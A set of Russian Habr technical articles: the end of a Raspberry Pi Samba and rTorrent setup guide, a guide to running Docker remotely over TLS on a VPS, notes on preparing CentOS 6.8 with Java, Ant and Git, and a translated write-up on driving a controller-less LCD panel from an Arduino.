"UUID="D29807B898079A5D" /mount/flash ntfs-3g rw,force,exec,users 0 0"
```
Где UUID, это уникальный id нашей флешки, который мы посмотрели командой `sudo blkid` в самом начале. Перезагружаем RPI:
```
sudo reboot
```
#### Установка Samba
Приступаем к установке, Обновим на всякий случай все что мы тут натворили:
```
sudo apt-get update && sudo apt-get upgrade
```
Установим сервер Samba:
```
sudo apt-get install samba samba-common-bin
```
Теперь откроем /etc/samba/smb.conf и вписываем туда:
```
[global]
workgroup = WORKGROUP
security = share
guest ok = yes
browseable = yes
[flash]
path = /mount/flash
writeable = yes
readonly = no
browseable = yes
guest ok = yes
```
Где workgroup, это рабочая группа, скорее всего у вас WORKGROUP. Доступ к серверу будет осуществляться без авторизации. Если необходимо что бы при подключении надо было запрашивать пароль, то вместо `security = share` и `guest ok = yes` напишите `security = user`. Нужно так же создать нового пользователя, вводим команду `sudo smbpasswd -a [имя]`, где [имя] — это имя пользователя. Сохраняем конфиг, перезагружаем:
```
sudo /etc/init.d/samba restart
```
Я «замапил» себе сетевой диск, для удобства. Можно прямо с компа закидывать фильмы на RPI и смотреть уже на огромном телевизоре, который допустим стоит у вас где-нибудь в гостиной.
**Клик!**
#### Установка rTorrent, Screen, RuTorrent
Сначала поставим rTorrent
```
sudo aptitude install rtorrent
```
Затем создадим папку на нашей флешке, сюда будем качать наши фильмы:
```
mkdir /mount/flash/Torrent/
```
А так же папку, где у нас будет храниться информация о закачках:
```
mkdir /mount/flash/Torrent/.rt/
```
Затем переходим в домашнюю папку юзера, под которым будет работать rtorrent, у меня это `/home/pi`:
```
cd /home/pi
```
Тут создаем файл ".rtorrent.rc", это настройки нашего rtorrent:
```
min_peers = 1
max_peers = 30
download_rate = 0
upload_rate = 0
directory = /mount/flash/Torrent/
session = /mount/flash/Torrent/.rt/
port_range = 40890-40890
port_random = no
check_hash = yes
session_save = yes
encryption = allow_incoming,enable_retry,prefer_plaintext
use_udp_trackers = yes
dht = auto
dht_port = 6881
encoding_list = UTF-8
scgi_port = 127.0.0.1:5000
```
Описание настроек можно посмотреть [здесь](http://ru.wikibooks.org/wiki/RTorrent#.D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80_.D1.84.D0.B0.D0.B9.D0.BB.D0.B0_.rtorrent.rc). Настроим автозагрузку и установим **screen** для работы rtorrent в фоне:
```
sudo aptitude install screen
```
```
sudo wget http://libtorrent.rakshasa.no/attachment/wiki/RTorrentCommonTasks/rtorrentInit.sh?format=raw -O /etc/init.d/rtorrent
```
Отредактируем скрип для корректной работы:
```
sudo nano /etc/init.d/rtorrent
```
в строке `user="user"` пишем `user="pi"`. Сохраняем. Теперь все это дело добавим в автозагрузку и запустим:
```
sudo chmod 755 /etc/init.d/rtorrent && sudo update-rc.d rtorrent defaults && sudo /etc/init.d/rtorrent start
```
Настроим апач, включим модули:
```
sudo a2enmod scgi
```
Отредактируем файл `/etc/apache2/apache2.conf` — в самом конце файла нужно добавить строку — "`SCGIMount /RPC2 127.0.0.1:5000`". Перезапускаем апач:
```
sudo service apache2 restart
```
Пришло время ставить web-морду для нашего rtorrent. Я выбрал ruTorrent, т.к. она простенькая и на русском языке. Сначала поставим Subversion:
```
sudo apt-get install subversion
```
Теперь загрузим ruTorrent:
```
cd /var/www/
```
```
sudo svn checkout http://rutorrent.googlecode.com/svn/trunk/rutorrent
```
Выставим права на папку:
```
sudo chown -R www-data:www-data ./rutorrent/
```
Осталось проверить работу нашей web-морды, заходим в браузере `ip_адрес_RPI/rutorrent` (если с RPI то `localhost/rutorrent`):
**Вуаля**
Ну вот вроде и все. Теперь мы имеем готовый к работе RPI, для web-разработчиков, которые в ночь с пятницы на субботу могут поставить качать свой любимый сериал и на следующее утро, лежа на диване смотреть все это дело на огромном телике. Спасибо за внимание.
P.S. Хочу принести извинения за отсутствие некоторых ссылок на сторонние ресурсы, материалом которых я руководствовался т.к. делал я это давно, а опубликовал только сейчас. | https://habr.com/ru/post/222447/ | null | ru | null |
# Как сэкономить на покупке ноутбука: Docker Remote API via TLS
Совсем недавно я решился на покупку личного ноутбука. Разработка open-source проекта ([приложение для Flipper](https://github.com/Flipper-Zero/Flipper-Android-App)) и смена места работы вынудили меня больше не использовать рабочий ноутбук для личных целей. И тут уже жалко было отдавать стоимость поддержанной Hyndai Solaris за ноутбук (на работе у меня топовая конфигурация 16" MacBook).
[](https://habr.com/ru/company/ruvds/blog/524424/)
Поэтому решено было поумерить свой пыл и взять ~~нищебродский~~ самый дешевый MacBook Air 13" за 80 тысяч рублей. Однако, на mac Docker сжирает непомерное количество ресурсов, поэтому после покупки пришлось думать как же решить эту проблему. Сразу же пришла идея вынести Docker Engine куда-нибудь в онлайн. Сказано — сделано.
Настройка сервера
-----------------
### Установка Docker Engine на сервер
Накладные расходы docker на Linux минимальны. Docker на Mac работает на виртуальной машине Linux, когда как на Linux напрямую использует ядро хост-системы. Подробнее об этом можете почитать [тут](https://dev.to/ericnograles/why-is-docker-on-macos-so-much-worse-than-linux-flh).
Так как нам важен маленький пинг, имеет смысл приобрести хостинг в Москве, но большой разницы нет.
Итого: Linux, Москва, характеристики зависят от ваших потребностей.
На [ruvds.com](http://ruvds.com) как раз есть недорогой готовый тариф для этого. Также на ruvds.com есть возможность заказать сетап сразу с Docker CE на борту. Мелочь, а приятно.
Ищите пароль и логин в веб-интерфейсе своего хостинга и подключайтесь.


Дальше устанавливайте Docker. Отличная инструкция есть [тут](https://docs.docker.com/engine/install/ubuntu/), ниже кратко приведу команды из неё (если у вас вдруг нет `sudo`, не забудьте установить его `apt-get install sudo` из под `su`):
```
sudo apt-get update
sudo apt-get install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo apt-key fingerprint 0EBFCD88
sudo add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) \
stable"
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io
```
Проверим работу docker:
```
docker run hello-world
```

### Генерация ключей
Для начала нужно сгенерировать SSL ключи. Можно пойти по легкому и по сложному пути. Инструкция по сложному пути (каноническому) представлена в [документации Docker](https://docs.docker.com/engine/security/https/). Но добрые люди запихнули все это в контейнер <10mb.
Давайте создадим для начала папки, куда будем складировать все. Папки могут быть любыми. В первой (`/etc/docker/ssl`) хранятся секретные ключи, во второй (`~/.docker`) ключи для доступа.
```
sudo mkdir -p /etc/docker/ssl
mkdir -p ~/.docker
```
Для начала создадим клиентские и CA сертификаты в локальной папке
```
docker run --rm -v ~/.docker:/certs \
paulczar/omgwtfssl
```
Создадим серверные сертификаты, используя CA, сгенерированный выше. Укажите там через запятую те IP, через которые будете получать доступ к серверу. **В нашем случае не забудьте указать там IP вашего сервера!**
```
sudo cp ~/.docker/ca.pem /etc/docker/ssl/ca.pem
chown -R $USER ~/.docker
docker run --rm -v /etc/docker/ssl:/server \
-v ~/.docker:/certs \
-e SSL_IP=127.0.0.1,172.17.8.101,YOUR_IP \
-e SSL_DNS=docker.local -e SSL_KEY=/server/key.pem \
-e SSL_CERT=/server/cert.pem paulczar/omgwtfssl
```
### Настраиваем docker daemon
Основная задача на данном этапе — пропихнуть при запуске docker аргументы командной строки с нужными нам параметрами. Как вы это сделаете не суть важно, на Ubuntu можно это сделать так:
**1.** Редактируем файл `/etc/default/docker` вашим любимым редактором
```
nano /etc/default/docker
```
И добавляем в конец переменную `DOCKER\_OPTS`. **Не забудьте вставить туда свой внешний IP**
```
DOCKER_OPTS="-H=YOUR_IP:2376 -H unix:///var/run/docker.sock --tlsverify --tlscacert=/etc/docker/ssl/ca.pem --tlscert=/etc/docker/ssl/cert.pem --tlskey=/etc/docker/ssl/key.pem"
```
**2.** Добавляем аргументы на запуск сервиса. На Ubuntu файлик с параметрами запуска это `/lib/systemd/system/docker.service`. Добавляем строчку в подсекцию `[Service]`:
```
EnvironmentFile=/etc/default/docker
```
И меняем команду запуска рядышком:
```
ExecStart=/usr/bin/dockerd -H fd:// $DOCKER_OPTS
```
Да, пункт 1 был не обязательный, аргументы команды можно было вставить и сюда, но их достаточно много и неудобно иметь большую команду для запуска в файле сервиса.
**3.** Перезагружаем демона
```
sudo systemctl daemon-reload
sudo systemctl restart docker
```
**4.** Проверьте в логах демона что все работает:
```
journalctl -u docker.service -f
```

**5.** Попробуем подключиться через tls:
```
export DOCKER_HOST=tcp://YOUR_IP:2376
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
docker info
```

Работает!
Настройка на клиенте
--------------------
Прежде чем начать настраивать клиенты вам необходимо скачать папку с сертификатами на свой компьютер. Вы можете сделать это любым удобным способом. Например, через `scp`:
На удаленной машине:
```
mkdir /tmp/cert-for-docker && cp -v ~/.docker/{ca,cert,key}.pem /tmp/cert-for-docker
```
На локальной машине:
```
scp -r root@YOUR_IP:/tmp/cert-for-docker ~/.docker
```
Далее используйте эту папку для настройки клиента docker.
### Mac OS CLI
Тут настройка сводится к тому что нужно прописать переменные в вашей среде и все будет работать. Однако встает вопрос: «Откуда взять голый клиент? Нам же не нужен официальный тяжеловесный клиент под 2Гб, который поставляется вместе с Docker Engine?»
Решение есть! Современный Docker уже давно поделили на клиентскую и серверную часть. Можно скачать отдельные binary клиента, собранные под macos. Официальная инструкция [тут](https://docs.docker.com/engine/install/binaries/), но я приведу тут краткую выжимку:
**1.** Качаем последние или соответствующие вашему серверу (можно вытащить командой `docker info`) бинари по [ссылке](https://download.docker.com/mac/static/stable/x86_64/) и распаковываем
**2.** Копируем бинарь в папку `/usr/local/bin/` чтобы работало глобально:
```
sudo cp docker/docker /usr/local/bin/
```
**3.** Прописываем в `~/.bashrc` или `~/.zshrc` необходимые переменные окружения. **Не забудьте вставить свой IP и путь к папке с сертификатам**:
```
export DOCKER_HOST=tcp://YOUR_IP:2376
export DOCKER_CERT_PATH=PATH_TO_CERT
export DOCKER_TLS_VERIFY=1
```
**4.** Перезагружаем компьютер (шоб наверняка), проверяем:
```
docker info
docker run hello-world
```

Красота!
### Jetbrains IDEs (PyCharm, IDEA, Android Studio e.t.c)
Студии Jetbrains из коробки поддерживают docker via tls. Находится эта настройка в `Preference->Build, Execution, Deployment->Docker->+`. Вам нужно выбрать `TCP socket` и ввести там свои данные. Однако есть подвох.

Если все сделать как задумано, то вылезет ошибка:
> Error response from daemon: Client sent an HTTP request to an HTTPS server.
>
> errors pretty printing info
Или
> Cannot connect: Status 400: Client sent an HTTP request to an HTTPS server
Нужно явно прописывать нашей студии что протокол мы используем `https`:
> [YOUR\_IP](https://YOUR_IP):2376
После все должно работать отлично.
Бонус (Portainer)
-----------------
Чтобы эфективно отслеживать запущенные и уже отработанные контейнеры, я поставил на этот сервер Portainer. Ставится он в две строки:
```
docker volume create portainer_data
docker run -d -p 8000:8000 -p 9000:9000 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce
```
После этого на `YOUR_IP:9000` будет висеть красивый веб-интерфейс и можно видеть запущенные и убитые контейнеры. Помните как мы запускали `hello-world`? Он тут и его можно прямо из интерфейса почистить.

Сам Portainer можно подключать к любой машине с Docker и управлять docker-контейнерами всех ваших машин из одного места. [Метрика](https://github.com/stefanprodan/dockprom) (Grafana+Prometheus+Алерты) ставиться также легко двумя командами (не забудьте установить `git` и `docker-compose`):
```
git clone https://github.com/stefanprodan/dockprom && cd dockprom
ADMIN_USER=admin ADMIN_PASSWORD=admin docker-compose up -d
```


Только вот для Storage нужно поменять `sum(node_filesystem_free_bytes{fstype="aufs"})` на `sum(node_filesystem_free_bytes{fstype="ext4"})`

Заключение
----------
Когда я покупал ноутбук, я не тешил себя надеждой, что мне его хватит под любые задачи, тем более что мне его хватит на Java/Android-разработку. Но я был приятно удивлен, до сих пор все мои проекты, личные и просто open-source летают в IDE. Однако я понимал, что при всей моей любви к этой пишущей машинке, Docker она не вывезет. Я был очень рад настроив один раз на удаленном сервере docker. В процессе разработки абсолютно незаметно что сервер не локальный. Ограничений каких-то не чувствую, всеравно Docker и раньше без интернета запускать было мало смысла. В общем, я очень доволен. -1 причина покупать мощный и тяжелый ноутбук.
К тому же, оверхед Docker на линукс минимальный, поэтому можно взять машину за 240 рублей в месяц у RuVDS в РФ (а со скидкой по промокоду **HABR** -10% и того меньше) и не беспокоиться за пинг и влияние серверных приложений на UI. Плюсом идет внешний IP (возможность показывать клиентам и держать dev-песок), приватный VPN и надежность высочайшего класса. В целом, я доволен.
Ресурсы:
--------
*** [Статья 2016 года по настройке для CoreOS](https://tech.paulcz.net/2016/01/secure-docker-with-tls/)
* [Docker Remote API без шифрования](https://gist.github.com/jupeter/b39e11521452129af2af85cc855c91d7)
* Сайт Docker и все ресурсы, на которых были указаны ссылки в самой статье**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=LionZXY&utm_content=kak_sekonomit_na_pokupke_noutbuka_docker_remote_api_via_tls#order)
[](http://ruvds.com/ru-rub/news/read/123?utm_source=habr&utm_medium=article&utm_campaign=LionZXY&utm_content=kak_sekonomit_na_pokupke_noutbuka_docker_remote_api_via_tls) | https://habr.com/ru/post/524424/ | null | ru | null |
# Готовлю CentOS 6.8 к работе
С Linux мы пересеклись в 2005 году, это был **Debian**. Потом последовал долгий роман с **Ubuntu**, ради которого в марте 2009 приобрел нетбук Asus EeePC 1000. В 2010 начал сотрудничать с **ALT Linux**, участвовал в «[Школьном проекте](http://freeschool.altlinux.ru/)» ([продвигали Linux в школах](https://habrahabr.ru/post/105455/)) и стал майнтейнером пакета [basic256](http://sisyphus.ru/ru/srpm/Sisyphus/basic256).
Последние несколько лет мой EeePC с Ubuntu мирно отдыхал в глубине шкафa. И тут появился повод стряхнуть с него пыль. Возникла задача познакомиться с **CentOS Linux** и протестировать там примеры для [вебинара](https://www.youtube.com/watch?v=802v6EhYRv4) по Apache Ant.
Посетив [www.centos.org](http://www.centos.org), останавливаюсь на версии 6.8. На [странице](http://isoredirect.centos.org/centos/6/isos/i386/) выбираю сервер с образами дисков и скачиваю файл CentOS-6.8-i386-LiveCD.iso. С помощью [Rufus](https://rufus.akeo.ie) создаю загрузочный USB и успешно инсталлирую CentOS 6.8 на свой Asus EeePC. Процесс очень простой. А тёмно-синяя цветовая гамма старого доброго GNOME приятна для глаз…
Какие инструменты (программы/пакеты) мне нужны? Пока только три: **Java JDK**, **Apache Ant** и **Git**. Начинаю с синхронизации и обновления индексных файлов пакетов, памятуя что вместо apt-get (в Ubuntu) в CentOS используют **yum**:
> [lamp@localhost ~]$ sudo yum update
>
> [sudo] password for lamp:
>
> lamp is not in the sudoers file. This incident will be reported.
Вот это новость… В отличие от Ubuntu, простой пользователь не обладает правами выполнения команд от имени root. Изучив [wiki.centos.org/TipsAndTricks/BecomingRoot](https://wiki.centos.org/TipsAndTricks/BecomingRoot), решаю использовать «*quick and dirty way*», отредактировав файл */etc/sudoers*. Для этого у root есть команда **visudo** (спасибо опытным коллегам). Перехожу в режим root (после su ввожу root пароль, заданный при инсталляции):
> [lamp@localhost ~]$ su
>
> Password:
>
> [root@localhost lamp]# visudo
Нахожу в файле строку root ALL=(ALL) ALL и добавляю (предварительно нажав клавишу «I» и войдя в режим вставки) ниже подобную строку, только вместо *root* пишу *lamp*, получается так:
> root ALL=(ALL) ALL
>
> lamp ALL=(ALL) ALL
Нажимаю Esc и выхожу из файла с сохранением (:wq). Покидаю режим root командой *exit*. Теперь можно выполнять административные команды через *sudo*, вводя пользовательский пароль. Итак, снова:
> [lamp@localhost ~]$ sudo yum update
>
> [sudo] password for lamp:
Ввожу пароль, всё работает, yum обновляет индексы и заодно предлагает обновить кое-какие пакеты, скачав 197 Мб. Отвечаю N, это немного подождёт.
Время заняться **Java JDK**. Передо мной выбор — ставить oracle-jdk или open-jdk? Благодаря советам более опытных коллег чаша весов склоняется в сторону **open-jdk**. Использую команду *yum search* чтобы найти имя пакета для установки. Ставлю, само собой, самую свежую версию:
> [lamp@localhost ~]$ sudo yum search jdk
>
> …
>
> java-1.8.0-openjdk-devel.i686: OpenJDK Development Environment
>
> …
>
> [lamp@localhost ~]$ sudo yum install java-1.8.0-openjdk-devel
>
> …
>
> [lamp@localhost ~]$ javac -version
>
> javac 1.8.0\_121
>
> [lamp@localhost ~]$ java -version
>
> openjdk version «1.8.0\_121»
>
> OpenJDK Runtime Environment (build 1.8.0\_121-b13)
>
> OpenJDK Server VM (build 25.121-b13, mixed mode)
JDK есть, очередь за **Apache Ant**. Пробую поставить из репозитария:
> [lamp@localhost ~]$ sudo yum install ant
и yum предлагает скачать около 60 Мб и установить 10 пакетов зависимостей, где сам ant только лишь 2.2 Мб. При этом Google слегка намекает — это версия 1.7.1 что меня совершенно не устраивает (там нет junit). После недолго поиска нахожу подходящий скрипт, позволяющий скачать и установить свежую версию. Слегка редактирую его под себя:
```
# download and install
antname=apache-ant
antserver=http://apache-mirror.rbc.ru/pub/apache
antversion=1.10.1
wget ${antserver}/ant/binaries/${antname}-${antversion}-bin.tar.gz
sudo tar xvfvz ${antname}-${antversion}-bin.tar.gz -C /opt
sudo ln -sfn /opt/${antname}-${antversion} /opt/ant
sudo sh -c 'echo ANT_HOME=/opt/ant >> /etc/environment'
sudo ln -sfn /opt/ant/bin/ant /usr/bin/ant
# check installation
ant -version
# cleanup
rm ${antname}-${antversion}-bin.tar.gz
```
и сохраняю в домашнем каталоге, затем запускаю:
> [lamp@localhost ~]$ chmod +x installantoncentos.sh
>
> [lamp@localhost ~]$ ./installantoncentos.sh
в последней строке вижу результат команды *ant -version*:
> Apache Ant(TM) version 1.10.1 compiled on February 2 2017
**Git** ставлю из репозитария:
> [lamp@localhost ~]$ sudo yum install git
>
> [lamp@localhost ~]$ git --version
>
> git version 1.7.1
Итак, нужные инструменты готовы и можно приступать к тестированию примеров для вебинара. Но это будет уже [другая история](https://habrahabr.ru/post/323204/)… | https://habr.com/ru/post/323246/ | null | ru | null |
# Управление ЖК-матрицей F-51543NFU-LW-ADN / PWB51543C-2-V0 (от ленточной библиотеки)

И снова привет, Хабр! Сделав [перевод](https://habr.com/ru/post/444762/) статьи об управлении ЖК-модулем с драйвером, но без собственного видео-ОЗУ, я решил перевести ещё одну публикацию на ту же тему. Здесь модуль уже попроще, монохромный, но «оживить» его не менее интересно.
Управление ЖКИ с драйвером, но без контроллера
==============================================
Дисплей, с которым собирается работать автор, взят из старой ленточной библиотеки. Контроллер не сохранился, но поиск чего-либо связанного с «263645-001» показал, что там был ПЛИС. Считается, что непосредственно управлять такими ЖК-модулями от Arduino и т.п. невозможно, нужно промежуточное звено — контроллер серии SEDxxxxx, который не «дружит» с макетными платами, а входов имеет больше, чем сам модуль. Но это не так. Вот целых четыре аналогичных проекта:
[На ATmega8515](https://www.mikrocontroller.net/topic/98321#1881082)
[На нём же](https://www.mikrocontroller.net/topic/25099?page=single)
[На PIC](http://www.pcbheaven.com/exppages/Reverse-Engineering_an_LCD_Display/?p=0)
[На ESP32](https://github.com/har-in-air/ESP32-LCD-I2S)
А некоторые вообще управляют от восьмиразрядных AVR VGA-мониторами…
В общем, у автора всё получилось, ПО под лицензией MIT — [здесь](https://github.com/ikostoski/arduino-clglcd).
Неподвижное изображение
=======================
Чтобы убедиться, что всё работает, надо сначала попробовать вывести однобитное растровое изображение из флеш-памяти микроконтроллера. Для получения отрицательного напряжения взяты три «Кроны», на вывод V0 подано напряжение с делителя, в качестве которого применён подстроечный резистор. И вот на экране — Ленна:

Автор до сих пор не может понять, как умудрился перевернуть картинку (посомтрите, с какой стороны шлейф). В любом случае, на странице проекта на GitHub есть и этот пример.
Текстовый режим
===============
Но от видео-ПЗУ толку мало, а 9600 байт для видео-ОЗУ в Arduino нет. На помощь приходит текстовый режим, при котором ПЗУ знакогенератора и видео-ОЗУ вместе взятые имеют меньший объём, чем видео-ОЗУ при графическом режиме. На эту тему сторонники РК и «Специалиста» могут ломать копья бесконечно.

Короткий пример на языке ассемблера AVR:
```
...
lpm r24, Z
;---------- (CL2 rising edge)
out %[data_port], r24
ld r30, X+
swap r24; (CL2 rising edge)
out %[data_port], r24
lpm r24, Z
;---------- (CL2 rising edge)
out %[data_port], r24
...
```
Требуемое «железо»
==================

Для модуля F-51543NFU-LW-ADN / PWB51543C-2-V0 автор применил:
Arduino на AVR с тактовой частотой в 16 МГц (проверено на Uno, Leonardo и клоне, аналогичном ProMicro).
Источник отрицательного напряжения. У автора это — нестабилизированный DC-DC преобразователь A0524S-1W с развязкой входа и выхода. Подойдут также преобразователи на MC34063 (эту микросхему найти очень просто — достаточно разобрать самую дешёвую USB-зарядку для прикуривателя) или MAX749. Стабилизация не требуется, диапазон допустимых напряжений по этому входу у применённого здесь модуля достаточно широк. Номинал — минус 24 В, максимум — минус 30 относительно общего провода и 35 между Vdd и Vee. Потребляемый ток составит 6 мА.
Два N-канальных МОП-транзистора с управлением логическими уровнями. Автор применил IRL530n, запас, конечно, большой, зато точно не перегорят. Один транзистор управляет подсветкой, другой — источником отрицательного напряжения.
Подстроечный резистор на 250 кОм для подачи напряжения на вход V0. Выставить, чтобы на подвижном контакте было -16.8 В при температуре в +25 °C. Это из даташита, а так, конечно, такая точность не нужна.
Несколько 10-килоомных резисторов для подтягивания вниз.
Макетка и перемычки.
Что бы теперь такого сделать? QR-часы? Спросим котэ:

Котэ предлагает реализовать симуляцию какого-нибудь распространённого ЖКИ с контроллером. Чтобы к этому Arduino можно было подключить другое, «думающее», что работает с дисплеем на HD44780, только большим.
Шрифт — тоже в ОЗУ
==================
Берём пример с EGA и VGA — там при работе в текстовом режиме сделано именно так. Только здесь знаков поместилось всего 64, но хоть так всё в ОЗУ влезло, в отличие от графического режима. Правда, основной цикл событий замедлило, зато можно попробовать тайловую графику:

Графический режим и полутона
============================
В Arduino на AVR столько ОЗУ нет, и точка. Даже в Mega. 320x240 даже при одном бите на пиксель — это уже 9600 байт. Всего для четырёх полутонов потребуется вдвое больше. С внешним ОЗУ, например, 23LC512 в режиме SQI можно попробовать реализовать что-то похожее на DMA, но проще и выгоднее переделать всё на ESP32, где и статического ОЗУ больше, и DMA легче делается.
Если вы хотите просто подключить такой дисплей к ПК через USB, можно попробовать применить для этого ATmega32u4 — ресурсов хватит даже для градаций яркости (при помощи FRC, о том, что это такое, рассказано в моём предыдущем переводе). Но не у «меги», используемой как преобразователь интерфейсов, а у ПК, который будет сам сканировать ЖКИ на лету со скоростью в 5.4 мегабит в секунду.
Когда модуль ещё стоял в ленточной библиотеке, там и GUI, и градации яркости — всё было.
Обновления будут. А пока…

И это — не фотомонтаж, а результат управления с ПК. А мы перейдём с Hackaday.io на GitHub — там в README.md ещё много интересного.
Сигналы для управления такими модулями
======================================
FLM — First Line Marker — маркер первой строки, может также называться FRAME, VSYNC, и т.п.
CL1 — Row latch pulse — импульс записи строки, может также называться. LOAD, HSYNC, и т.п.
CL2 — Pixel shift clock — импульс смены пикселя, может также называться. CP (change pixel), и т.п.
M — чередующийся сигнал, благодаря которому пиксели управляются переменным напряжением, может также называться BIAS (смещение), и т.п.
D0-D3 — четырёхразрядная параллельная шина данных.
Выводы общего провода, питания подсветки (например, VLED±), питания модуля (VEE и V0)
Не пренебрегайте даташитами. Модуль может требовать другое отрицательное напряжение, или оно может оказаться положительным, или преобразователь может быть встроенным. Может отличаться логика, например, при единице на CL1 не будет реакции на CL2. Может быть другая подсветка (CCFL (осторожно, инвертор «кусач») вместо светодиодов), или на плате не указана цоколёвка, тогда без даташита её точно не узнать. Наугад что-либо подключать нельзя.
Что там вообще надо делать
==========================
Передать строку кусками по четыре бита, запись производится по спаду на линии CL2. Передав строку, записать её по спаду на линии CL1 (ага, всё-таки, чуть-чуть ОЗУ в модуле есть — на одну строку). Следующая строка будет выбрана автоматически. Передав весь кадр, вернуться в начало при помощи сигнала FLM. В даташите на LC79401 есть пример. Запись производить с достаточной скоростью, импульсы на CL1 подавать равномерно. Контроллер чуть замешкался — экран некрасиво мигнул.
После каждого кадра менять логический уровень на входе M на противоположный, чтобы пиксели управлялись переменным напряжением. Иначе дисплей портится:
Эту операцию можно не доверять микроконтроллеру, а поставить счётный триггер. Входом на FLM, выходом на M — в общем, понятно.
Пример для вывода изображения из флеш-памяти (см. начало статьи) называется в этом репозитории clglcd\_simple
Как уже было сказано, проделать то же самое с ОЗУ в Arduino на AVR невозможно — его не хватит, поэтому…
И снова — текстовый режим
=========================
Согласно даташиту, можно передавать данные по четырёхразрядной шине и «дёргать» CL2 с частотой до 6 МГц. Поэтому можно быстро-быстро передать строку, потом микроконтроллер немного порешает другие задачи, а как таймер ему «скажет» — он «дёрнет» CL1 и повторит цикл.
При генерации знаков для горизонтального разрешения в 320 пикселей всё это удаётся проделывать за 20 мкс (320 пикслей /4 бита = 80 импульсов, CL2 «дёргаем» с частотой в 4 МГц). На остальные задачи остаётся 39.5 мкс. CL1 «дёргаем» каждые 59.5 мкс и получаем частоту кадров в 70 Гц. Ну, там ещё процедурв обработки прерываний будут и прочее, в общем, микроконтроллер будет занят управлением дисплеем 45% времени. «Целых» 45 или «всего» 45? Наверное, второе: перезаписать данные в видео-ОЗУ можно достаточно быстро.
Хотите, чтобы микроконтроллер тратил меньше времени на управление индикатором, и больше на другие задачи? Можно уменьшить частоту кадров до 50 Гц, можно разогнать микроконтроллер до 20 МГц. При любом из этих способов между проуедурами обработки прерываний пройдёт больше тактов.
Таймер сравнения выхода переключает линию CL2 через каждые четыре тактовых импульса со скважностью в 50%. Одновременно данные поступают на выходы порта PORTB, подключённые к четырёхразрядной шине данных модуля таким образом, что смена их происходит в момент нарастания уровня на CL2, а в момент спада они остаются неизменными. Конечно, без ассемблера такое не проделать:
```
...
lpm r24, Z
;---------- (CL2 rising edge)
out %[data_port], r24
ld r30, X+
swap r24; (CL2 rising edge)
out %[data_port], r24
lpm r24, Z
;---------- (CL2 rising edge)
out %[data_port], r24
...
```
8 тактов — и переданы четыре полубайта. А что именно передавать — зависит от того, какой символ находится в соответствующей ячейке видео-ОЗУ, какие именно пиксели, соответствующие этому символу, надо передать из ПЗУ знакогенератора, и что хранится в соответствующих ячейках этого ПЗУ.
Самое неудобное здесь — необходимость останавливать таймер ровно через 80 импульсов. Некоторые таймеры, например Timer4 в 32u4, так не могут.
Для получения сигнала, подаваемого на линию CL1, автор применил другой вывод микроконтроллера, предназначенный как для таймера, так и для быстрого ШИМ. Что из этого применено здесь, понятно. Переключается он каждые 952 такта. Или если считать после делителя тактовой частоты на 8 — получается через каждые 119 импульсов. В этот момент запускается процедура обработки прерывания и заставляет микроконтроллер подать на линии управления новые данные, которые потребуются при следующем импульсе на CL1. Ну а уровень на линии M меняется с вдвое меньшей частотой. И ЖКИ не портится. Все сигналы вместе выглядят так:

Знакогенератор состоит из 256 символов — хватит для 866, KOI-8R или 1251. В видео-ОЗУ помещается 40хN символов, где N — количество строк, зависящее от высоты символа. Ширина символа — всегда 8 пикселей, а высота может быть 6, 8, 10, 12, 15, 16. Чем она меньше, тем меньше требуется ПЗУ для знакогенератора и больше видео-ОЗУ. При шрифте 8х8 (40 символов на 30 строк) надо 1200 байт ОЗУ и 2048 байт ПЗУ. При шрифте 8х16 (на этом модуле смотрится лучше всего) ОЗУ надо 600 байт, а ПЗУ — 4096. От переводчика: можно шрифт хранить в виде 8х8, а по вертикали масштабировать вдвое программно, и обойтись 600 байтами ОЗУ и 2048 — ПЗУ. Чтобы хранить в ПЗУ несколько шрифтов, нужно держать адрес начала шрифта не в константе, а в переменной, но выводить текст сразу несколькими шрифтами не получится, если, конечно, не менять этот адрес на лету процедурой обработки прерывания прямо во время передачи пикселей в дисплей.
Шрифт хранится так: сначала верхние строки всех 256 символов, потом на одну строку ниже, и так далее. В папке misc репозитория есть скрипт на Python, который автоматически преобразует TTF-шрифт в файл заголовка clglcd\_font.h с массивом PROGMEM в необходимом формате. Классические пиксельные шрифты под CC-BY-SA 4.0 можно взять [здесь](https://int10h.org/oldschool-pc-fonts/).
И снова — берём пример с EGA и VGA
==================================
Но на этот раз с подробностями. Знакогенератор в ОЗУ, как указано выше, вмещает всего 64 знака, их можно обозначить номерами от 0 до n либо от 255-n до 255. Хранятся они аналогично: верхние строки всех символов, затем следующие, и так далее. Только выровнено всё это с учётом того, что знаков не 256, а 64. Для знаков размером 8х16 пикселей потребуется 16\*64=1024 байта. В репозитории есть пример работы со знакогенератором в ОЗУ.
Если задействовать одновременно оба знакогенератора — 256-символьный в ПЗУ и 64-символьный в ОЗУ, придётся смириться с тем, что не только останется меньше ОЗУ, но и уменьшится скорость передачи данных о строках в модуль — вместо 8 тактов загрузки двух полубайтов потребуется 12, то есть, не 20 мкс, а 30, а вместо 45% времени на управление ЖКИ уйдёт 60.
Графический режим с полутонами
==============================
Как указано выше, в этом случае микроконтроллер работает просто преобразователем интерфейсов. Потребуется ATmega32u4, а что как делать, описано [здесь](https://github.com/ikostoski/arduino-clglcd/blob/master/usb_bridge/README.md). Учтите, что модуль может испортиться от зависания программы на ПК.
Так вот что это за четырёхпроводной шлейф — от резистивного сенсора, оказывается.
Куда что подключать
===================
Как указано выше, потребуется отрицательное напряжение, которое в первых опытах можно снять с трёх «Крон», а потом собрать преобразователь, например, на MAX749. Сигналы управления питанием, а также сигнал DISPOFF (это сигнал инверсный, модуль включён при единице) подтянуть резисторами вниз. Во время прошивки и сброса микроконтроллера появление там логических единиц недопустимо.
Отрицательное напряжение подавать после напряжения +5В, а логическую единицу на линию DISPOFF — когда на линиях управления уже присутствуют данные: хотя бы одна единица на шине данных, единица на CL1. Иначе может выйти из строя модуль.
